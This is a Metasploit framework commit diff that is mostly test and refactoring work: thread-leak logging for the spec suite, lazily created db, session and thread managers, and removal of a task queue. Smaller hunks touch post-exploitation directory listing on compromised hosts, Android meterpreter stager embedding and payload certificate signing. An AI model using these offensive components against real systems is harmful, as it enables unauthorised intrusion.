Update module with review
commit
a0f92ce26e
|
@ -123,7 +123,7 @@ GEM
|
||||||
metasploit-model (0.28.0)
|
metasploit-model (0.28.0)
|
||||||
activesupport
|
activesupport
|
||||||
railties (< 4.0.0)
|
railties (< 4.0.0)
|
||||||
metasploit_data_models (0.21.1)
|
metasploit_data_models (0.21.2)
|
||||||
activerecord (>= 3.2.13, < 4.0.0)
|
activerecord (>= 3.2.13, < 4.0.0)
|
||||||
activesupport
|
activesupport
|
||||||
arel-helpers
|
arel-helpers
|
||||||
|
|
1
Rakefile
1
Rakefile
|
@ -11,4 +11,5 @@ Metasploit::Framework::Require.optionally_active_record_railtie
|
||||||
|
|
||||||
Metasploit::Framework::Application.load_tasks
|
Metasploit::Framework::Application.load_tasks
|
||||||
Metasploit::Framework::Spec::Constants.define_task
|
Metasploit::Framework::Spec::Constants.define_task
|
||||||
|
Metasploit::Framework::Spec::Threads::Suite.define_task
|
||||||
Metasploit::Framework::Spec::UntestedPayloads.define_task
|
Metasploit::Framework::Spec::UntestedPayloads.define_task
|
||||||
|
|
|
@ -23,15 +23,13 @@ unless ENV['BUNDLE_GEMFILE']
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
require 'bundler'
|
require 'bundler/setup'
|
||||||
rescue LoadError
|
rescue LoadError
|
||||||
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
|
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
|
||||||
$stderr.puts " $ gem install bundler"
|
$stderr.puts " $ gem install bundler"
|
||||||
exit(0)
|
exit(1)
|
||||||
end
|
end
|
||||||
|
|
||||||
Bundler.setup
|
|
||||||
|
|
||||||
lib_path = root.join('lib').to_path
|
lib_path = root.join('lib').to_path
|
||||||
|
|
||||||
unless $LOAD_PATH.include? lib_path
|
unless $LOAD_PATH.include? lib_path
|
||||||
|
|
|
@ -35,6 +35,7 @@ module Metasploit
|
||||||
extend ActiveSupport::Autoload
|
extend ActiveSupport::Autoload
|
||||||
|
|
||||||
autoload :Spec
|
autoload :Spec
|
||||||
|
autoload :ThreadFactoryProvider
|
||||||
|
|
||||||
# Returns the root of the metasploit-framework project. Use in place of
|
# Returns the root of the metasploit-framework project. Use in place of
|
||||||
# `Rails.root`.
|
# `Rails.root`.
|
||||||
|
|
|
@ -2,4 +2,5 @@ module Metasploit::Framework::Spec
|
||||||
extend ActiveSupport::Autoload
|
extend ActiveSupport::Autoload
|
||||||
|
|
||||||
autoload :Constants
|
autoload :Constants
|
||||||
|
autoload :Threads
|
||||||
end
|
end
|
|
@ -0,0 +1,5 @@
|
||||||
|
module Metasploit::Framework::Spec::Threads
|
||||||
|
extend ActiveSupport::Autoload
|
||||||
|
|
||||||
|
autoload :Suite
|
||||||
|
end
|
|
@ -0,0 +1,41 @@
|
||||||
|
#
|
||||||
|
# Standard Library
|
||||||
|
#
|
||||||
|
|
||||||
|
require 'securerandom'
|
||||||
|
|
||||||
|
#
|
||||||
|
# Project
|
||||||
|
#
|
||||||
|
|
||||||
|
require 'metasploit/framework/spec/threads/suite'
|
||||||
|
|
||||||
|
original_thread_new = Thread.method(:new)
|
||||||
|
|
||||||
|
# Patches `Thread.new` so that if logs `caller` so thread leaks can be traced
|
||||||
|
Thread.define_singleton_method(:new) { |*args, &block|
|
||||||
|
uuid = SecureRandom.uuid
|
||||||
|
# tag caller with uuid so that only leaked threads caller needs to be printed
|
||||||
|
lines = ["BEGIN Thread.new caller (#{uuid})"]
|
||||||
|
|
||||||
|
caller.each do |frame|
|
||||||
|
lines << " #{frame}"
|
||||||
|
end
|
||||||
|
|
||||||
|
lines << 'END Thread.new caller'
|
||||||
|
|
||||||
|
Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.parent.mkpath
|
||||||
|
|
||||||
|
Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.open('a') { |f|
|
||||||
|
# single puts so threads can't write in between each other.
|
||||||
|
f.puts lines.join("\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
options = {original_args: args, uuid: uuid}
|
||||||
|
|
||||||
|
original_thread_new.call(options) {
|
||||||
|
# record uuid for thread-leak detection can used uuid to correlate log with this thread.
|
||||||
|
Thread.current[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] = options.fetch(:uuid)
|
||||||
|
block.call(*options.fetch(:original_args))
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,214 @@
|
||||||
|
require 'pathname'
|
||||||
|
|
||||||
|
# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework' which
|
||||||
|
# allows for faster loading of rake tasks.
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Spec
|
||||||
|
module Threads
|
||||||
|
module Suite
|
||||||
|
#
|
||||||
|
# CONSTANTS
|
||||||
|
#
|
||||||
|
|
||||||
|
# Number of allowed threads when threads are counted in `after(:suite)` or `before(:suite)`
|
||||||
|
EXPECTED_THREAD_COUNT_AROUND_SUITE = 1
|
||||||
|
# `caller` for all Thread.new calls
|
||||||
|
LOG_PATHNAME = Pathname.new('log/metasploit/framework/spec/threads/suite.log')
|
||||||
|
# Regular expression for extracting the UUID out of {LOG_PATHNAME} for each Thread.new caller block
|
||||||
|
UUID_REGEXP = /BEGIN Thread.new caller \((?<uuid>.*)\)/
|
||||||
|
# Name of thread local variable that Thread UUID is stored
|
||||||
|
UUID_THREAD_LOCAL_VARIABLE = "metasploit/framework/spec/threads/logger/uuid"
|
||||||
|
|
||||||
|
#
|
||||||
|
# Module Methods
|
||||||
|
#
|
||||||
|
|
||||||
|
# Configures `before(:suite)` and `after(:suite)` callback to detect thread leaks.
|
||||||
|
#
|
||||||
|
# @return [void]
|
||||||
|
def self.configure!
|
||||||
|
unless @configured
|
||||||
|
RSpec.configure do |config|
|
||||||
|
config.before(:suite) do
|
||||||
|
thread_count = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list.count
|
||||||
|
|
||||||
|
# check with if first so that error message can be constructed lazily
|
||||||
|
if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE
|
||||||
|
# LOG_PATHNAME may not exist if suite run without `rake spec`
|
||||||
|
if LOG_PATHNAME.exist?
|
||||||
|
log = LOG_PATHNAME.read()
|
||||||
|
else
|
||||||
|
log "Run `rake spec` to log where Thread.new is called."
|
||||||
|
end
|
||||||
|
|
||||||
|
raise RuntimeError,
|
||||||
|
"#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when " \
|
||||||
|
"only #{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \
|
||||||
|
"#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected before suite runs:\n" \
|
||||||
|
"#{log}"
|
||||||
|
end
|
||||||
|
|
||||||
|
LOG_PATHNAME.parent.mkpath
|
||||||
|
|
||||||
|
LOG_PATHNAME.open('a') do |f|
|
||||||
|
# separator so after(:suite) can differentiate between threads created before(:suite) and during the
|
||||||
|
# suites
|
||||||
|
f.puts 'before(:suite)'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
config.after(:suite) do
|
||||||
|
LOG_PATHNAME.parent.mkpath
|
||||||
|
|
||||||
|
LOG_PATHNAME.open('a') do |f|
|
||||||
|
# separator so that a flip flop can be used when reading the file below. Also useful if it turns
|
||||||
|
# out any threads are being created after this callback, which could be the case if another
|
||||||
|
# after(:suite) accidentally created threads by creating an Msf::Simple::Framework instance.
|
||||||
|
f.puts 'after(:suite)'
|
||||||
|
end
|
||||||
|
|
||||||
|
thread_list = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list
|
||||||
|
thread_count = thread_list.count
|
||||||
|
|
||||||
|
if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE
|
||||||
|
error_lines = []
|
||||||
|
|
||||||
|
if LOG_PATHNAME.exist?
|
||||||
|
caller_by_thread_uuid = Metasploit::Framework::Spec::Threads::Suite.caller_by_thread_uuid
|
||||||
|
|
||||||
|
thread_list.each do |thread|
|
||||||
|
thread_uuid = thread[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE]
|
||||||
|
|
||||||
|
# unmanaged thread, such as the main VM thread
|
||||||
|
unless thread_uuid
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
caller = caller_by_thread_uuid[thread_uuid]
|
||||||
|
|
||||||
|
error_lines << "Thread #{thread_uuid}'s status is #{thread.status.inspect} " \
|
||||||
|
"and was started here:\n"
|
||||||
|
|
||||||
|
error_lines.concat(caller)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
error_lines << "Run `rake spec` to log where Thread.new is called."
|
||||||
|
end
|
||||||
|
|
||||||
|
raise RuntimeError,
|
||||||
|
"#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when only " \
|
||||||
|
"#{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \
|
||||||
|
"#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected after suite runs:\n" \
|
||||||
|
"#{error_lines.join}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
@configured = true
|
||||||
|
end
|
||||||
|
|
||||||
|
@configured
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.define_task
|
||||||
|
Rake::Task.define_task('metasploit:framework:spec:threads:suite') do
|
||||||
|
if Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.exist?
|
||||||
|
Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.delete
|
||||||
|
end
|
||||||
|
|
||||||
|
parent_pathname = Pathname.new(__FILE__).parent
|
||||||
|
threads_logger_pathname = parent_pathname.join('logger')
|
||||||
|
load_pathname = parent_pathname.parent.parent.parent.parent.expand_path
|
||||||
|
|
||||||
|
# Must append to RUBYOPT or Rubymine debugger will not work
|
||||||
|
ENV['RUBYOPT'] = "#{ENV['RUBYOPT']} -I#{load_pathname} -r#{threads_logger_pathname}"
|
||||||
|
end
|
||||||
|
|
||||||
|
Rake::Task.define_task(spec: 'metasploit:framework:spec:threads:suite')
|
||||||
|
end
|
||||||
|
|
||||||
|
# @note Ensure {LOG_PATHNAME} exists before calling.
|
||||||
|
#
|
||||||
|
# Yields each line of {LOG_PATHNAME} that happened during the suite run.
|
||||||
|
#
|
||||||
|
# @yield [line]
|
||||||
|
# @yieldparam line [String] a line in the {LOG_PATHNAME} between `before(:suite)` and `after(:suite)`
|
||||||
|
# @yieldreturn [void]
|
||||||
|
def self.each_suite_line
|
||||||
|
in_suite = false
|
||||||
|
|
||||||
|
LOG_PATHNAME.each_line do |line|
|
||||||
|
if in_suite
|
||||||
|
if line.start_with?('after(:suite)')
|
||||||
|
break
|
||||||
|
else
|
||||||
|
yield line
|
||||||
|
end
|
||||||
|
else
|
||||||
|
if line.start_with?('before(:suite)')
|
||||||
|
in_suite = true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# @note Ensure {LOG_PATHNAME} exists before calling.
|
||||||
|
#
|
||||||
|
# Yield each line for each Thread UUID gathered during the suite run.
|
||||||
|
#
|
||||||
|
# @yield [uuid, line]
|
||||||
|
# @yieldparam uuid [String] the UUID of thread thread
|
||||||
|
# @yieldparam line [String] a line in the `caller` for the given `uuid`
|
||||||
|
# @yieldreturn [void]
|
||||||
|
def self.each_thread_line
|
||||||
|
in_thread_caller = false
|
||||||
|
uuid = nil
|
||||||
|
|
||||||
|
each_suite_line do |line|
|
||||||
|
if in_thread_caller
|
||||||
|
if line.start_with?('END Thread.new caller')
|
||||||
|
in_thread_caller = false
|
||||||
|
next
|
||||||
|
else
|
||||||
|
yield uuid, line
|
||||||
|
end
|
||||||
|
else
|
||||||
|
match = line.match(UUID_REGEXP)
|
||||||
|
|
||||||
|
if match
|
||||||
|
in_thread_caller = true
|
||||||
|
uuid = match[:uuid]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# The `caller` for each Thread UUID.
|
||||||
|
#
|
||||||
|
# @return [Hash{String => Array<String>}]
|
||||||
|
def self.caller_by_thread_uuid
|
||||||
|
lines_by_thread_uuid = Hash.new { |hash, uuid|
|
||||||
|
hash[uuid] = []
|
||||||
|
}
|
||||||
|
|
||||||
|
each_thread_line do |uuid, line|
|
||||||
|
lines_by_thread_uuid[uuid] << line
|
||||||
|
end
|
||||||
|
|
||||||
|
lines_by_thread_uuid
|
||||||
|
end
|
||||||
|
|
||||||
|
# @return
|
||||||
|
def self.non_debugger_thread_list
|
||||||
|
Thread.list.reject { |thread|
|
||||||
|
# don't do `is_a? Debugger::DebugThread` because it requires Debugger::DebugThread to be loaded, which it
|
||||||
|
# won't when not debugging.
|
||||||
|
thread.class.name == 'Debugger::DebugThread'
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,26 @@
|
||||||
|
# Wraps {Msf::Framework} so that {Msf::Framework#threads} is only created on the first call to {#spawn} by
|
||||||
|
# {Rex::ThreadFactory#spawn}, which allows the threads used by {Msf::ThreadManager} to be created lazily.
|
||||||
|
#
|
||||||
|
# @example Setting Rex::ThreadFactory.provider and spawning threads
|
||||||
|
# Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: framework)
|
||||||
|
# # framework.threads created here
|
||||||
|
# Rex::ThreadFactory.spawn("name", false) { ... }
|
||||||
|
#
|
||||||
|
class Metasploit::Framework::ThreadFactoryProvider < Metasploit::Model::Base
|
||||||
|
#
|
||||||
|
# Attributes
|
||||||
|
#
|
||||||
|
|
||||||
|
# @!attribute framework
|
||||||
|
# The framework managing the spawned threads.
|
||||||
|
#
|
||||||
|
# @return [Msf::Framework]
|
||||||
|
attr_accessor :framework
|
||||||
|
|
||||||
|
# Spawns a thread monitored by {Msf::ThreadManager} in {Msf::Framework#threads}.
|
||||||
|
#
|
||||||
|
# (see Msf::ThreadManager#spawn)
|
||||||
|
def spawn(name, critical, *args, &block)
|
||||||
|
framework.threads.spawn(name, critical, *args, &block)
|
||||||
|
end
|
||||||
|
end
|
|
@ -17,7 +17,6 @@ require 'msf/core/database_event'
|
||||||
require 'msf/core/db_import_error'
|
require 'msf/core/db_import_error'
|
||||||
require 'msf/core/host_state'
|
require 'msf/core/host_state'
|
||||||
require 'msf/core/service_state'
|
require 'msf/core/service_state'
|
||||||
require 'msf/core/task_manager'
|
|
||||||
|
|
||||||
# The db module provides persistent storage and events. This class should be instantiated LAST
|
# The db module provides persistent storage and events. This class should be instantiated LAST
|
||||||
# as the active_suppport library overrides Kernel.require, slowing down all future code loads.
|
# as the active_suppport library overrides Kernel.require, slowing down all future code loads.
|
||||||
|
@ -47,7 +46,6 @@ class Msf::DBManager
|
||||||
autoload :Service, 'msf/core/db_manager/service'
|
autoload :Service, 'msf/core/db_manager/service'
|
||||||
autoload :Session, 'msf/core/db_manager/session'
|
autoload :Session, 'msf/core/db_manager/session'
|
||||||
autoload :SessionEvent, 'msf/core/db_manager/session_event'
|
autoload :SessionEvent, 'msf/core/db_manager/session_event'
|
||||||
autoload :Sink, 'msf/core/db_manager/sink'
|
|
||||||
autoload :Task, 'msf/core/db_manager/task'
|
autoload :Task, 'msf/core/db_manager/task'
|
||||||
autoload :Vuln, 'msf/core/db_manager/vuln'
|
autoload :Vuln, 'msf/core/db_manager/vuln'
|
||||||
autoload :VulnAttempt, 'msf/core/db_manager/vuln_attempt'
|
autoload :VulnAttempt, 'msf/core/db_manager/vuln_attempt'
|
||||||
|
@ -80,7 +78,6 @@ class Msf::DBManager
|
||||||
include Msf::DBManager::Service
|
include Msf::DBManager::Service
|
||||||
include Msf::DBManager::Session
|
include Msf::DBManager::Session
|
||||||
include Msf::DBManager::SessionEvent
|
include Msf::DBManager::SessionEvent
|
||||||
include Msf::DBManager::Sink
|
|
||||||
include Msf::DBManager::Task
|
include Msf::DBManager::Task
|
||||||
include Msf::DBManager::Vuln
|
include Msf::DBManager::Vuln
|
||||||
include Msf::DBManager::VulnAttempt
|
include Msf::DBManager::VulnAttempt
|
||||||
|
@ -160,11 +157,6 @@ class Msf::DBManager
|
||||||
#
|
#
|
||||||
initialize_adapter
|
initialize_adapter
|
||||||
|
|
||||||
#
|
|
||||||
# Instantiate the database sink
|
|
||||||
#
|
|
||||||
initialize_sink
|
|
||||||
|
|
||||||
true
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -1,34 +0,0 @@
|
||||||
module Msf::DBManager::Sink
|
|
||||||
#
|
|
||||||
# Attributes
|
|
||||||
#
|
|
||||||
|
|
||||||
# Stores a TaskManager for serializing database events
|
|
||||||
attr_accessor :sink
|
|
||||||
|
|
||||||
#
|
|
||||||
# Instance Methods
|
|
||||||
#
|
|
||||||
|
|
||||||
#
|
|
||||||
# Create a new database sink and initialize it
|
|
||||||
#
|
|
||||||
def initialize_sink
|
|
||||||
self.sink = Msf::TaskManager.new(framework)
|
|
||||||
self.sink.start
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Add a new task to the sink
|
|
||||||
#
|
|
||||||
def queue(proc)
|
|
||||||
self.sink.queue_proc(proc)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Wait for all pending write to finish
|
|
||||||
#
|
|
||||||
def sync
|
|
||||||
# There is no more queue.
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -49,8 +49,6 @@ module Exploit::Android
|
||||||
|
|
||||||
// libraryData contains the bytes for a native shared object built via NDK
|
// libraryData contains the bytes for a native shared object built via NDK
|
||||||
// which will load the "stage", which in this case is our android meterpreter stager.
|
// which will load the "stage", which in this case is our android meterpreter stager.
|
||||||
// LibraryData is loaded via ajax later, because we have to access javascript in
|
|
||||||
// order to detect what arch we are running.
|
|
||||||
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
|
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
|
||||||
|
|
||||||
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
|
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
|
||||||
|
|
|
@ -1,4 +1,15 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
#
|
||||||
|
# Standard Library
|
||||||
|
#
|
||||||
|
|
||||||
|
require 'monitor'
|
||||||
|
|
||||||
|
#
|
||||||
|
# Project
|
||||||
|
#
|
||||||
|
|
||||||
require 'metasploit/framework/version'
|
require 'metasploit/framework/version'
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/util'
|
require 'msf/util'
|
||||||
|
@ -12,6 +23,7 @@ module Msf
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
class Framework
|
class Framework
|
||||||
|
include MonitorMixin
|
||||||
|
|
||||||
#
|
#
|
||||||
# Versioning information
|
# Versioning information
|
||||||
|
@ -66,22 +78,22 @@ class Framework
|
||||||
#
|
#
|
||||||
# Creates an instance of the framework context.
|
# Creates an instance of the framework context.
|
||||||
#
|
#
|
||||||
def initialize(opts={})
|
def initialize(options={})
|
||||||
|
self.options = options
|
||||||
|
# call super to initialize MonitorMixin. #synchronize won't work without this.
|
||||||
|
super()
|
||||||
|
|
||||||
# Allow specific module types to be loaded
|
# Allow specific module types to be loaded
|
||||||
types = opts[:module_types] || Msf::MODULE_TYPES
|
types = options[:module_types] || Msf::MODULE_TYPES
|
||||||
|
|
||||||
self.threads = ThreadManager.new(self)
|
|
||||||
self.events = EventDispatcher.new(self)
|
self.events = EventDispatcher.new(self)
|
||||||
self.modules = ModuleManager.new(self,types)
|
self.modules = ModuleManager.new(self,types)
|
||||||
self.sessions = SessionManager.new(self)
|
|
||||||
self.datastore = DataStore.new
|
self.datastore = DataStore.new
|
||||||
self.jobs = Rex::JobContainer.new
|
self.jobs = Rex::JobContainer.new
|
||||||
self.plugins = PluginManager.new(self)
|
self.plugins = PluginManager.new(self)
|
||||||
self.db = DBManager.new(self, opts)
|
|
||||||
|
|
||||||
# Configure the thread factory
|
# Configure the thread factory
|
||||||
Rex::ThreadFactory.provider = self.threads
|
Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self)
|
||||||
|
|
||||||
subscriber = FrameworkEventSubscriber.new(self)
|
subscriber = FrameworkEventSubscriber.new(self)
|
||||||
events.add_exploit_subscriber(subscriber)
|
events.add_exploit_subscriber(subscriber)
|
||||||
|
@ -155,11 +167,6 @@ class Framework
|
||||||
#
|
#
|
||||||
attr_reader :modules
|
attr_reader :modules
|
||||||
#
|
#
|
||||||
# Session manager that tracks sessions associated with this framework
|
|
||||||
# instance over the course of their lifetime.
|
|
||||||
#
|
|
||||||
attr_reader :sessions
|
|
||||||
#
|
|
||||||
# The global framework datastore that can be used by modules.
|
# The global framework datastore that can be used by modules.
|
||||||
#
|
#
|
||||||
attr_reader :datastore
|
attr_reader :datastore
|
||||||
|
@ -180,28 +187,62 @@ class Framework
|
||||||
# unloading of plugins.
|
# unloading of plugins.
|
||||||
#
|
#
|
||||||
attr_reader :plugins
|
attr_reader :plugins
|
||||||
#
|
|
||||||
# The framework instance's db manager. The db manager
|
# The framework instance's db manager. The db manager
|
||||||
# maintains the database db and handles db events
|
# maintains the database db and handles db events
|
||||||
#
|
#
|
||||||
attr_reader :db
|
# @return [Msf::DBManager]
|
||||||
|
def db
|
||||||
|
synchronize {
|
||||||
|
@db ||= Msf::DBManager.new(self, options)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Session manager that tracks sessions associated with this framework
|
||||||
|
# instance over the course of their lifetime.
|
||||||
#
|
#
|
||||||
|
# @return [Msf::SessionManager]
|
||||||
|
def sessions
|
||||||
|
synchronize {
|
||||||
|
@sessions ||= Msf::SessionManager.new(self)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
# The framework instance's thread manager. The thread manager
|
# The framework instance's thread manager. The thread manager
|
||||||
# provides a cleaner way to manage spawned threads
|
# provides a cleaner way to manage spawned threads
|
||||||
#
|
#
|
||||||
attr_reader :threads
|
# @return [Msf::ThreadManager]
|
||||||
|
def threads
|
||||||
|
synchronize {
|
||||||
|
@threads ||= Msf::ThreadManager.new(self)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Whether {#threads} has been initialized
|
||||||
|
#
|
||||||
|
# @return [true] if {#threads} has been initialized
|
||||||
|
# @return [false] otherwise
|
||||||
|
def threads?
|
||||||
|
synchronize {
|
||||||
|
instance_variable_defined? :@threads
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
|
# @!attribute options
|
||||||
|
# Options passed to {#initialize}
|
||||||
|
#
|
||||||
|
# @return [Hash]
|
||||||
|
attr_accessor :options
|
||||||
|
|
||||||
attr_writer :events # :nodoc:
|
attr_writer :events # :nodoc:
|
||||||
attr_writer :modules # :nodoc:
|
attr_writer :modules # :nodoc:
|
||||||
attr_writer :sessions # :nodoc:
|
|
||||||
attr_writer :datastore # :nodoc:
|
attr_writer :datastore # :nodoc:
|
||||||
attr_writer :auxmgr # :nodoc:
|
attr_writer :auxmgr # :nodoc:
|
||||||
attr_writer :jobs # :nodoc:
|
attr_writer :jobs # :nodoc:
|
||||||
attr_writer :plugins # :nodoc:
|
attr_writer :plugins # :nodoc:
|
||||||
attr_writer :db # :nodoc:
|
attr_writer :db # :nodoc:
|
||||||
attr_writer :threads # :nodoc:
|
|
||||||
end
|
end
|
||||||
|
|
||||||
class FrameworkEventSubscriber
|
class FrameworkEventSubscriber
|
||||||
|
|
|
@ -60,6 +60,10 @@ module Msf::Payload::Dalvik
|
||||||
# with a key whose validity expires before that date.
|
# with a key whose validity expires before that date.
|
||||||
# """
|
# """
|
||||||
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
|
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
|
||||||
|
|
||||||
|
# If this line is left out, signature verification fails on OSX.
|
||||||
|
cert.sign(key, OpenSSL::Digest::SHA1.new)
|
||||||
|
|
||||||
return cert, key
|
return cert, key
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -31,6 +31,23 @@ module Msf::Post::File
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Returns a list of the contents of the specified directory
|
||||||
|
# @param directory [String] the directory to list
|
||||||
|
# @return [Array] the contents of the directory
|
||||||
|
def dir(directory)
|
||||||
|
if session.type == 'meterpreter'
|
||||||
|
return session.fs.dir.entries(directory)
|
||||||
|
else
|
||||||
|
if session.platform =~ /win/
|
||||||
|
return session.shell_command_token("dir #{directory}").split(/[\r\n]+/)
|
||||||
|
else
|
||||||
|
return session.shell_command_token("ls #{directory}").split(/[\r\n]+/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
alias ls dir
|
||||||
|
|
||||||
#
|
#
|
||||||
# See if +path+ exists on the remote system and is a directory
|
# See if +path+ exists on the remote system and is a directory
|
||||||
#
|
#
|
||||||
|
|
|
@ -1,238 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
module Msf
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This class provides a task manager
|
|
||||||
#
|
|
||||||
###
|
|
||||||
|
|
||||||
class TaskManager
|
|
||||||
|
|
||||||
class Task
|
|
||||||
attr_accessor :timeout
|
|
||||||
attr_accessor :created
|
|
||||||
attr_accessor :completed
|
|
||||||
attr_accessor :status
|
|
||||||
attr_accessor :proc
|
|
||||||
attr_accessor :source
|
|
||||||
attr_accessor :exception
|
|
||||||
|
|
||||||
#
|
|
||||||
# Create a new task
|
|
||||||
#
|
|
||||||
def initialize(proc,timeout=nil)
|
|
||||||
self.proc = proc
|
|
||||||
self.status = :new
|
|
||||||
self.created = Time.now
|
|
||||||
self.timeout = timeout
|
|
||||||
self.source = caller
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Task duration in seconds (float)
|
|
||||||
#
|
|
||||||
def duration
|
|
||||||
etime = self.completed || Time.now
|
|
||||||
etime.to_f - self.created.to_f
|
|
||||||
end
|
|
||||||
|
|
||||||
def wait
|
|
||||||
while self.status == :new
|
|
||||||
::IO.select(nil,nil,nil,0.10)
|
|
||||||
end
|
|
||||||
return self.status
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Run the associated proc
|
|
||||||
#
|
|
||||||
def run(*args)
|
|
||||||
self.proc.call(*args) if self.proc
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
attr_accessor :processing
|
|
||||||
attr_accessor :queue
|
|
||||||
attr_accessor :thread
|
|
||||||
attr_accessor :framework
|
|
||||||
|
|
||||||
#
|
|
||||||
# Create a new TaskManager
|
|
||||||
#
|
|
||||||
def initialize(framework)
|
|
||||||
self.framework = framework
|
|
||||||
self.flush
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Add a new task via proc
|
|
||||||
#
|
|
||||||
def queue_proc(proc)
|
|
||||||
task = Task.new(proc)
|
|
||||||
queue_task(task)
|
|
||||||
return task
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Add a new task to the queue unless we are called
|
|
||||||
# by the queue thread itself.
|
|
||||||
#
|
|
||||||
def queue_task(task)
|
|
||||||
if Thread.current[:task_manager]
|
|
||||||
process_task(task)
|
|
||||||
else
|
|
||||||
self.queue.push(task)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Flush the queue
|
|
||||||
#
|
|
||||||
def flush
|
|
||||||
self.queue = []
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Stop processing events
|
|
||||||
#
|
|
||||||
def stop
|
|
||||||
return if not self.thread
|
|
||||||
self.processing = false
|
|
||||||
self.thread.join
|
|
||||||
self.thread = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Forcefully kill the processing thread
|
|
||||||
#
|
|
||||||
def kill
|
|
||||||
return if not self.thread
|
|
||||||
self.processing = false
|
|
||||||
self.thread.kill
|
|
||||||
self.thread = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Start processing tasks
|
|
||||||
#
|
|
||||||
def start
|
|
||||||
return if self.thread
|
|
||||||
self.processing = true
|
|
||||||
self.thread = framework.threads.spawn("TaskManager", true) do
|
|
||||||
begin
|
|
||||||
process_tasks
|
|
||||||
rescue ::Exception => e
|
|
||||||
elog("taskmanager: process_tasks exception: #{e.class} #{e} #{e.backtrace}")
|
|
||||||
retry
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Mark this thread as the task manager
|
|
||||||
self.thread[:task_manager] = true
|
|
||||||
|
|
||||||
# Return the thread object to the caller
|
|
||||||
self.thread
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Restart the task processor
|
|
||||||
#
|
|
||||||
def restart
|
|
||||||
stop
|
|
||||||
start
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Retrieve the number of tasks in the queue
|
|
||||||
#
|
|
||||||
def backlog
|
|
||||||
self.queue.length
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Process the actual queue
|
|
||||||
#
|
|
||||||
def process_tasks
|
|
||||||
spin = 50
|
|
||||||
ltask = nil
|
|
||||||
|
|
||||||
while(self.processing)
|
|
||||||
cnt = 0
|
|
||||||
